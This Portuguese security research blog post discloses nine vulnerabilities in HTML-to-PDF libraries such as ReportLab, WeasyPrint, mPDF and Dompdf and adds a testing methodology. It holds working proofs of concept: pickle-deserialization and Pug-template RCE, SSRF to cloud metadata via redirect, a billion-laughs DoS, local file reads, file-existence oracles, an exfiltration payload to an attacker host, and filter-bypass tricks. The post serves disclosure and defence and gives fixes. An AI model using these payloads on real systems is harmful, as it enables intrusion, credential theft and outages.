> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# Descobrindo 0-days em Geradores HTML-to-PDF (90 milhões de alvos mensais)
- URL: https://yokai.hakaisecurity.io/explorando-geradores-de-pdf-0-days-em-90-milhoes-de-alvos-por-mes/
- Published: 2026-06-23T19:45:29.000Z
- Updated: 2026-06-23T19:45:29.000Z
- Author: pedro cruz
- Tags: Research Blog, #wp, pt-br, #pair-zerodays-HTML-to-PDF

- Por **Pedro "gankd" Cruz** — *Pentest Analyst* & *Vulnerability Researcher* na **Hakai Security**.

Quase toda aplicação com diversas funcionalidades emite PDF em algum momento: fatura, recibo, relatório, certificado, contrato, extrato bancário. E por trás daquele botão "Exportar PDF" quase sempre tem uma *lib open-source* montando um HTML com dados do usuário, jogando num *parser* e devolvendo o arquivo, **no servidor**, com acesso a *filesystem*, rede interna e, com alguma sorte, o *endpoint* de *metadata* da *cloud*.

Isso faz do gerador de PDF um dos alvos mais subestimados de uma aplicação. Só o ReportLab são **50 milhões de *downloads* por mês** no PyPI. Some WeasyPrint, Dompdf, mPDF, TCPDF, Browsershot, ReLaXed e a superfície passa de **90 milhões de instalações por mês**.

Neste artigo serão abordadas **nove 0-*days* reais** que foram encontradas nessas *libs*, do RCE à leitura arbitrária de arquivo. Depois dos casos, abordo numa metodologia curta que pode ser aplicada em qualquer alvo.

---

## Sumário

1. [O que é um gerador de PDF (e por que é um alvo tão bom)](#o-que-e-um-gerador-de-pdf)
2. [Identificando o engine](#identificando-o-engine)
3. [As vulnerabilidades](#as-vulnerabilidades)
- [#1 — ReportLab: RCE via deserialização](#1--reportlab-rce-via-deserialização)
- [#2 — ReLaXed: RCE via Pug](#2--relaxed-rce-via-pug)
- [#3 — WeasyPrint: Local File Read (CVE-2024-28184)](#3--weasyprint-local-file-read)
- [#4 — WeasyPrint: SSRF bypass via redirect (CVE-2025-68616)](#4--weasyprint-ssrf-bypass-via-redirect)
- [#5 — Browsershot: LFI via UNC](#5--browsershot-lfi-via-unc)
- [#6 — mPDF: DoS via Billion Laughs em SVG](#6--mpdf-dos-via-billion-laughs)
- [#7 — Dompdf: file existence oracle](#7--dompdf-file-existence-oracle)
- [#8 — TCPDF: file existence oracle](#8--tcpdf-file-existence-oracle)
- [#9 — mPDF: directory enumeration](#9--mpdf-directory-enumeration)
1. [A metodologia](#a-metodologia)
2. [Conclusão](#conclusão)
3. [Prática](#prática)

---

## O que é um gerador de PDF

Um gerador de PDF é o componente que transforma dado dinâmico, parâmetro, conteúdo de banco, *input* de formulário, em documento. O padrão mais comum (e o mais perigoso) é o **HTML-to-PDF**: a aplicação monta um *template* HTML, injeta os dados do usuário e entrega para uma *lib* renderizar. Esse processo roda no *backend* porque leva tempo, e é justamente aí que uma fronteira de confiança é cruzada.

Quando o *input* do usuário é concatenado no *template* **sem sanitização**, o renderizador passa a interpretar *tags*, atributos, CSS e SVG vindos do atacante. Dependendo do *engine*, isso vira HTML *injection*, SSRF, leitura de arquivo local, deserialização insegura ou até RCE. E como esses serviços rodam dentro da rede com acesso total ao servidor, um *bug* que parecia inofensivo vira RCE em segundos

As funcionalidades onde isso aparece são sempre as mesmas:

- Fatura, recibo, nota fiscal, comprovante de transferência
- Relatório analítico com filtro customizável
- Certificado de curso (plataformas EAD)
- *Export* de conta, extrato bancário
- Convite, contrato, autorização, proposta
- Ticket, voucher, ingresso

---

## Identificando o engine

Antes de testar qualquer *payload* vale descobrir **quem** está gerando o arquivo, isso já te diz metade dos vetores que vão funcionar. A assinatura costuma estar nos metadados do próprio PDF:

```bash
exiftool fatura.pdf | grep -iE 'producer|creator'
```

| Producer                                                | Onde gera     | JS?     |
| ------------------------------------------------------- | ------------- | ------- |
| WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab              | *Server-side* | Não     |
| wkhtmltopdf / Skia/PDF (Chromium), Browsershot, ReLaXed | *Server-side* | **Sim** |
| jsPDF, pdf-lib, html2pdf.js                             | *Client-side* | —       |

A distinção ***server* vs. *client*** é a primeira que importa: em *client-side* (jsPDF, pdf-lib) o PDF nasce no *browser* da própria vítima, não tem alvo. Já a distinção **com JS vs. sem JS** decide a estratégia inteira de exploração, e é o que separa "ganhei a *hunt*" de "vou ter que atacar *tag* por *tag*".

Com a assinatura em mãos, recomenda-se checar por CVEs conhecidos e comportamentos intencionais documentados da *lib*.

---

## As vulnerabilidades

Nove casos reais em bibliotecas de uso recorrente no ecossistema. A pesquisa foi conduzida para explorar múltiplos vetores de HTML *injection*; das vulnerabilidades encontradas, seguem as mais relevantes:

| # | Lib         | Classe                           | Impacto                 |
| - | ----------- | -------------------------------- | ----------------------- |
| 1 | ReportLab   | Deserialização (pickle)          | **RCE**                 |
| 2 | ReLaXed     | Template injection (Pug)         | **RCE**                 |
| 3 | WeasyPrint  | link rel=attachment              | *Local File Read*       |
| 4 | WeasyPrint  | SSRF *bypass* via redirect       | SSRF                    |
| 5 | Browsershot | Blocklist não cobre UNC          | LFI                     |
| 6 | mPDF        | Billion Laughs em SVG            | DoS                     |
| 7 | Dompdf      | @font-face → OOM                 | *File existence oracle* |
| 8 | TCPDF       | Erro de imagem vaza path         | *File existence oracle* |
| 9 | mPDF        | file\_get\_contents em diretório | *Directory enumeration* |

### #1 — ReportLab: RCE via deserialização

**Alvo:** [reportlab](https://pypi.org/project/reportlab/?ref=yokai.hakaisecurity.io) — **50,9M *downloads*/mês** (PyPI).  
**Sink:** `reportlab/lib/utils.py::decode_label`.  
**Fix:** ReportLab 4.4.8 (15/01/2026).

ReportLab usa `pickle.loads()` num caminho que parecia interno:

```python
def decode_label(label):
    return pickle.loads(base64_decodebytes(label.encode('latin1')))
```

`pickle.loads` em dado não confiável é RCE, todo mundo sabe disso. O que faltava era o gatilho.

ReportLab suporta uma *tag* chamada `<onDraw name="func" label="data"/>` dentro de `Paragraph`. Quando a aplicação usa `SimpleIndex` (o jeito documentado de gerar índice remissivo) e arma o canvas com `getCanvasMaker()`, o método `_indexAdd` fica acessível pelo nome, e ele chama `decode_label(label)` direto.

Resultado: texto controlado pelo usuário num Paragraph é RCE quando a aplicação também usa SimpleIndex (getCanvasMaker()) ou PageAccumulator (attachToPageTemplate()), são eles que registram o callable que o <onDraw name=...> invoca pra chegar no decode\_label(). Sem um dos dois armado, o <onDraw> levanta AttributeError.

**Implementação vulnerável:**

```python
doc = SimpleDocTemplate("exploit.pdf")
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"<b>html injection</b>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
```

***Exploit*:**

```python
import pickle, base64, os
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus.tableofcontents import SimpleIndex

class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/rce_success.txt',))

payload_bin = pickle.dumps(Exploit())
malicious_label = base64.b64encode(payload_bin).decode('latin1')

doc = SimpleDocTemplate('exploit.pdf')
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"Triggering Exploit... <onDraw name='_indexAdd' label='{malicious_label}'/>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

try:
    doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
except Exception:
    pass

assert os.path.exists('/tmp/rce_success.txt')
```

*Patch* oficial: [https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981](https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981?ref=yokai.hakaisecurity.io). Atualize para **4.4.8 ou superior**.

---

### #2 — ReLaXed: RCE via Pug

**Alvo:** [RelaxedJS/ReLaXed](https://github.com/RelaxedJS/ReLaXed?ref=yokai.hakaisecurity.io) — **11,8k estrelas** (distribuído via clone/Docker).  
**Sink:** `src/masterToPDF.js`, `pug.render(...)`.

O contexto que ReLaXed passa para `pug.render()` deixa o `require` do Node visível pro *template*. Se *input* do usuário concatena no fonte do *template* (não como local), Pug abre bloco de código com `- ...` e qualquer JS roda.

**Cenário:**

```javascript
app.post('/generate-report', (req, res) => {
    const userTitle = req.body.title;
    const templateContent = `
h1 User Report
p Welcome to the report for: ${userTitle}
`;
    fs.writeFileSync('user_report.pug', templateContent);
    exec('relaxed user_report.pug', (error) => {
        if (error) return res.status(500).send("Error generating PDF");
        res.download('user_report.pdf');
    });
});
```

***Payload*:**

```pug
#{""}
- var cmd = require('child_process').execSync('id').toString()
p RCE Result: #{cmd}
```

Quebra o contexto de texto, abre bloco JS, carrega `child_process`, executa e cospe o *stdout* no PDF. RCE como o processo que roda o ReLaXed.

**Fix:** nunca concatenar *input* em fonte de *template*. Passa como `locals`: `pug.render(template, { title: userTitle })`. E tira o `require` do contexto.

---

### #3 — WeasyPrint: Local File Read

**Alvo:** [weasyprint](https://github.com/Kozea/WeasyPrint?ref=yokai.hakaisecurity.io) — **26,9M *downloads*/mês** (PyPI).  
**CVE:** [CVE-2024-28184](https://nvd.nist.gov/vuln/detail/CVE-2024-28184?ref=yokai.hakaisecurity.io).  
**Crédito:** [@nullie](https://github.com/nullie?ref=yokai.hakaisecurity.io) — não fui o primeiro a descobrir. Incluído porque é a primitiva que usei no engajamento que virou a CVE-2025-68616.

WeasyPrint aceita `<link rel="attachment">` e o `href` pode ser `file://`. O recurso vira anexo embedado no PDF.

```html
<link rel="attachment" href="file:///etc/passwd">
```

Para extrair:

```bash
$ pdfdetach -saveall attachment.pdf
$ cat passwd
root:x:0:0:root:/root:/bin/bash
...
```

> **Dica!** `<link>` não renderiza nada visível, então sanitizadores que olham só o conteúdo visual deixam passar. Sempre que existir "anexar arquivo ao PDF", pense em `file://`.

---

### #4 — WeasyPrint: SSRF bypass via redirect

**Alvo:** WeasyPrint < 68.0.  
**Sink:** `default_url_fetcher` em `weasyprint/urls.py`.  
**CVE:** [CVE-2025-68616](https://nvd.nist.gov/vuln/detail/CVE-2025-68616?ref=yokai.hakaisecurity.io) — **CVSS 7.5 High**.

Mesmo engajamento da #3\. Depois do LFR, fui atrás do AWS *metadata*:

```html
<link rel="attachment" href="https://169.254.169.254">
```

Não funcionou. O time tinha um `url_fetcher` customizado bloqueando strings com `169.254.169.254`, `localhost`, etc. Defesa em profundidade, em teoria.

Na prática: WeasyPrint deixa o desenvolvedor validar URLs no `url_fetcher`, mas a implementação *default* usa `urllib.request.urlopen`, que segue redirects 301/302/307 sozinho, **sem reentrar no fetcher**. TOCTOU clássico. A URL inicial passa, o atacante responde `302 Location: http://169.254.169.254/...`, e o urllib segue cego.

**Filtro "seguro" da aplicação:**

```python
def secure_fetcher(url):
    if "169.254.169.254" in url:
        raise PermissionError(f"Access to {url} denied.")
    return default_url_fetcher(url)
```

**Redirecionador do atacante:**

```python
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def malicious():
    return redirect("https://169.254.169.254", code=302)

app.run(port=1337)
```

***Payload*:**

```html
<link rel="attachment" href="https://mysite/redirect">
```

`secure_fetcher` valida `mysite`. Aprova. `urllib` segue o 302\. Credencial STS no PDF.

Atualize para **WeasyPrint ≥ 68.0**. *Advisory*: [GHSA-983w-rhvv-gwmv](https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv?ref=yokai.hakaisecurity.io).

---

### #5 — Browsershot: LFI via UNC

**Alvo:** [spatie/browsershot](https://github.com/spatie/browsershot?ref=yokai.hakaisecurity.io) — **1,5M instalações/mês** (Packagist).  
**Sink:** `src/Browsershot.php`, propriedade `$unsafeProtocols`.

*Blacklist* mal feita:

```php
protected array $unsafeProtocols = [
    'file:', 'file:/', 'file://', 'file:\\', 'file:\\\\', 'view-source',
];
```

Não cobre UNC. Chromium aceita `\\localhost\etc\passwd` e resolve como *filesystem* local — sem o protocolo `file://`.

```php
$payload = '<iframe src="\\\\localhost/etc/passwd" width="1000" height="1000"></iframe>';
\Spatie\Browsershot\Browsershot::html($payload)->save('output.pdf');
```

Abre o PDF, `/etc/passwd` está lá.

**Fix:** *allowlist* (`https://`, `http://`, `data:` se necessário). Tudo o mais nega por padrão.

---

### #6 — mPDF: DoS via Billion Laughs

**Alvo:** [mpdf/mpdf](https://github.com/mpdf/mpdf?ref=yokai.hakaisecurity.io) — **2M instalações/mês** (Packagist).  
**Sink:** `src/Image/Svg.php::ImageSVG`.

mPDF tem um expansor manual de `<!ENTITY>` em SVG com `preg_replace` em loop. Erro clássico, contorna (*bypass*) todas as proteções do `libxml`:

```php
if (preg_match('/<!ENTITY/si', $data)) {
    preg_match_all('/<!ENTITY\s+([a-z]+)\s+\"(.*?)\">/si', $data, $ent);
    for ($i = 0; $i < count($ent[0]); $i++) {
        $data = preg_replace(
            '/&' . preg_quote($ent[1][$i], '/') . ';/is',
            $ent[2][$i],
            $data
        );
    }
}
```

Cada iteração expande uma entidade em toda a *string*. Entidade `i` que referencia `i-1` (já expandida) é re-expandida. Crescimento exponencial.

**PoC:**

```php
$payload = '
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY a "AAAAAAAAAA">
<text x="0" y="0">&i;</text>
</svg>';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML($payload);
$mpdf->Output();
```

482 *bytes* de entrada, \~1 GB de RAM, processo morto pelo `memory_limit`. Vinte *requests* paralelos derrubam a *fleet*.

**Fix:** deixar `libxml` cuidar disso. Se manter expansão manual, limitar profundidade e tamanho a cada iteração.

---

### #7 — Dompdf: file existence oracle

**Alvo:** [dompdf/dompdf](https://github.com/dompdf/dompdf?ref=yokai.hakaisecurity.io) — **5,8M instalações/mês** (Packagist).  
**Classe:** CWE-770.  
**CVE:** [CVE-2026-55555](https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384?ref=yokai.hakaisecurity.io) — **CVSS 6.3 Medium**.

Dompdf processa `@font-face` com `src: url(file://...)`. Se o arquivo **existe**, o *engine* de fontes tenta realizar o *parsing* pesado por declaração e exaure o limite de memória do PHP, causando um *crashing*. Se **não existe**, falha e segue.

Repetindo a mesma declaração centenas de vezes:

- Arquivo existe → OOM → fatal.
- Arquivo não existe → PDF gerado.

*Bypass* de chroot, porque o que vaza é só metadado de existência. PHP default `memory_limit` é 128M.

**PoC:**

```php
$dompdf = new Dompdf(new Options());

function generate_payload($file, $iterations) {
    $css = $body = '';
    for ($i = 0; $i < $iterations; $i++) {
        $css  .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

$payload = generate_payload('/etc/passwd', 5250);
$dompdf->loadHtml($payload);
$dompdf->render();
```

Quando o arquivo existe:

```plaintext
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted
```

**Fix:** Dompdf 3.1.6+ valida o caminho do arquivo durante a resolução das URLs do *stylesheet*. O método `resolveUrl()` agora checa se o *path* resolvido está fora do chroot configurado. Se estiver, rejeita a importação em vez de tentar processar.

---

### #8 — TCPDF: file existence oracle

**Alvo:** [tecnickcom/tcpdf](https://github.com/tecnickcom/TCPDF?ref=yokai.hakaisecurity.io) — **2,7M instalações/mês** (Packagist).  
**Sink:** `Image()` em `tcpdf.php`.

Quando o HTML tem `<img>`, TCPDF:

1. Verifica `fileExists($file)`. Se `false`, segue em silêncio.
2. Se existe, chama `getimagesize()`.
3. Se `getimagesize()` falhar (diretório, ou arquivo não-imagem como `config.php`) **sem *width/height* explícitos no HTML**, TCPDF chama `Error()` com mensagem que **inclui o *path* inteiro**.

| Cenário                  | Resultado                                                   |
| ------------------------ | ----------------------------------------------------------- |
| Arquivo não existe       | PDF normal                                                  |
| Arquivo/diretório existe | TCPDF ERROR: \[Image\] Unable to get the size of /path/file |

**PoC:**

```html
<img src="config.php">
<img src="/.env">
<img src="/admin/">
<img src="/var/backups/db.sql">
<img src="/home/deploy/.ssh/id_rsa">
```

TCPDF processa em ordem e morre no primeiro *hit*, devolvendo o *path*. Listas de 15k entradas funcionam num único *request* HTTP. WAF que olha 404 ou *path traversal* não vê nada, o "*fuzz*" acontece dentro do processo PHP.

---

### #9 — mPDF: directory enumeration

**Alvo:** [mpdf/mpdf](https://github.com/mpdf/mpdf?ref=yokai.hakaisecurity.io) — **2M instalações/mês** (Packagist).  
**Sink:** `src/File/LocalContentLoader.php`.

```php
public function load($path)
{
    return file_get_contents($path);
}
```

Se o *path* é um **diretório existente**, `file_get_contents` emite *warning*. O warning vai pra *stdout*, e a essa altura mPDF já começou a escrever bytes do PDF, "*Output* *already sen*t", fatal. Se o *path* **não existe**, falha silenciosa e PDF sai limpo.

*Crash* vs. PDF = *oracle*.

```php
$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="/var/lib/docker" />');
$mpdf->Output();
```

`/etc` existe → Linux. `C:/Windows` existe → Windows. `/var/www/secret-project` existe → tem alvo. Casa muito bem com qualquer LFI posterior.

**Fix:**

```php
public function load($path)
{
    if (is_dir($path)) return null;
    return file_get_contents($path);
}
```

---

## A metodologia

De todos os *bugs* identificados, utilizei a mesma metodologia. Aqui estão seis passos aplicáveis em qualquer funcionalidade de "Exportar PDF", capazes de encontrar novas vulnerabilidades ou replicar as abordagens exploradas nas diferentes bibliotecas.

**1\. Leitura de metadados** — Na grande maioria das aplicações, os metadados não são sanitizados. Com uma simples leitura de `exiftool`, é possível identificar a tecnologia utilizada. Isso determina se ela é *server-side* (abrindo um leque maior de ataques) ou *client-side*, cada uma com seus próprios vetores de exploração.

**2\. HTML *injection*** — Um simples teste com *tags* como `<b>injection-test</b>` no campo que aparece no PDF (nome, descrição, observação, título). Negrito = você tem injeção. Teste também entidades HTML como `&amp;` e caracteres URL-encoded (ex: `>` como `%3E`) para entender como a biblioteca parseia a entrada. O HTML *injection* é o vetor principal para escalar vulnerabilidades *server-side*.

**3\. JS executa?** O teste que decide a *hunt*:

```html
<script>document.write("js-executed")</script>
```

Imprimiu = *engine* *headless* (Chromium / wkhtmltopdf / Browsershot / ReLaXed). Você ganhou. Não imprimiu = WeasyPrint / mPDF / TCPDF / Dompdf / ReportLab — sem JS, mas com muita *tag* pra atacar. `<script>` filtrado? `<svg onload=...>` e `<img src=x onerror=...>`.

**4a. Com JS, tudo vira código.** Você tem `fetch`, `XHR` e a rede do servidor:

```html
<!-- cloud metadata (o golpe que paga melhor) -->
<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- arquivo local (passa mesmo quando iframe file:// é bloqueado) -->
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- exfil cego quando o PDF é descartado -->
<script>fetch('http://interno').then(r=>r.text()).then(d=>fetch('https://collab.atacante/?d='+btoa(d)))</script>
```

A partir daí: rede interna (`http://10.0.0.1/admin`, Redis, Elastic, Jenkins), *port scan* por *timing*, e RCE quando o *template* compila *server-side* (`require('child_process')` no Pug/EJS, foi o caso #2).

**4b. Sem JS, tag por tag.** Você perde o controle programático, mas ataca cada *tag* que dispara *request*:

```html
<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>     <!-- LFI -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="2000"></iframe>  <!-- metadata -->
<link rel="attachment" href="file:///etc/passwd">                        <!-- WeasyPrint, casos #3/#4 -->
<embed src="http://169.254.169.254/" />                                  <!-- iframe bloqueado -->
<svg><image xlink:href="../../../etc/passwd" width="100%"/></svg>        <!-- SVG path traversal -->
<style>@font-face{font-family:x;src:url('file:///etc/passwd')}</style>   <!-- CSS + oracle, caso #7 -->
```

*Blind*? Aponta `<img>`, `<link rel=stylesheet>`, `@import`, `<base>` e `<meta refresh>` pro seu OAST e confirma a saída de rede antes de gastar tempo.

**5\. Filtros bloqueando a exploração?** \- Em muitos casos são implementadas *blocklists* e quase sempre temos um *bypass*:

- **Encoding** — `file://` vira `&#102;ile:`; `../` vira `..%2f` (o `urldecode()` decodifica depois do check, *bypass* de *patch* do TCPDF).
- **Protocolo alternativo** — UNC `\\localhost\etc\passwd` no Chromium, sem usar `file://` (caso #5).
- ***Tag* alternativa** — `<img>` bloqueado? `<input type=image>`, `<video>`, `<svg><image href>`. `<iframe>`? `<embed>`, `<object>`.
- `**<base href>**` — reescreve a resolução de URL relativa da página inteira; filtro que olha `src=` não vê.
- **Redirect** — *allowlist* que não revalida no hop: responde `302 Location: http://interno` (caso #4).
- ***Encoding* alternativo de IP** — `169.254.169.254` vira `[2002:a9fe:a9fe::]` (6to4) ou `[64:ff9b::a9fe:a9fe]` (NAT64). `IsPrivate()` do *stdlib* não pega.
- **Trocar de camada** — HTML filtrado → CSS → SVG inline → SVG base64 em `<img src="data:...">`. Raramente os três sanitizadores cobrem o mesmo conjunto.

**6\. Nada reflete? *Side-channel*** — Se você conseguiu HTML *injection* mas não conseguiu escalar para nada, seja por maturidade da biblioteca ou falta de código, existem *side-channels* que quase sempre funcionam. Tempo de resposta (*port scan*, descoberta de *hostname*), *status code*, *crash* vs. sucesso (*oracle* de existência de arquivo: casos #7 e #9) e mensagens de erro vazando *path* (caso #8) são canais viáveis. Além disso, *tags* como `<img>` podem ser usadas para descoberta de arquivos ou diretórios via importação, e em casos extremos, até *cross-site leaks* explorando comportamentos de *tags* HTML acessando a rede interna. Raramente crítico sozinho, em alguns contextos específicos pode ser combinada com outras falhas.

---

## Conclusão

Gerador de PDF é alvo bom por três motivos: o *input* do usuário entra no renderizador quase intacto, o renderizador roda no servidor (com *filesystem*, rede interna e às vezes credencial *cloud*), e a superfície é absurda: cada *lib* tem dezenas de *tags* customizadas, atributos e *features*. Nove casos depois, o padrão fica claro: o *bug* quase nunca é exótico; é `pickle.loads`, `preg_replace` em *loop* ou um *blocklist* que esqueceu de um *encoding*.

E quando o vendor lança um *patch*, **leia o *diff* antes de aceitar como definitivo**. *Patch bypass* é algo extremamente comum.

Pra quem mantém esse tipo de serviço:

- ***Allowlist*, nunca *blocklist*.** Protocolo, *host*, *path*, nega por padrão.
- **Revalida em cada *hop*.** Filtro que não reentra em *redirect* é inútil.
- **Não chama *parser* inseguro em dado de usuário.** `pickle.loads`, `eval`, `preg_replace` em loop, `unserialize()` em dado externo — qualquer um é RCE/DoS no aguardo.
- ***Engine* com JS:** desliga JS, isola a rede do worker, não carrega cookies de sessão real.
- **Mensagem de erro genérica** fecha a maior parte dos *oracles*.
- **Classifica endereço por classe** (incluindo prefixos tunelados), não por string. `IsPrivate()` do stdlib não cobre 6to4/Teredo/NAT64.
- **Ao publicar um *patch*, taguea um *release* no mesmo dia.** Fix em `main` sem *tag* deixa downstream cego.

Nove vulnerabilidades diferentes, todas nascendo do mesmo padrão: validação fraca em gerador de PDF *server-side*. Agora você sabe como procurar. *Let's hack*!

---

### Prática

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio [Certifia](https://app.hackingclub.com/training/challenges/131?ref=yokai.hakaisecurity.io) simula um servidor com a vulnerabilidade referenciada neste artigo e pode ser utilizado para consolidar o conhecimento apresentado.

---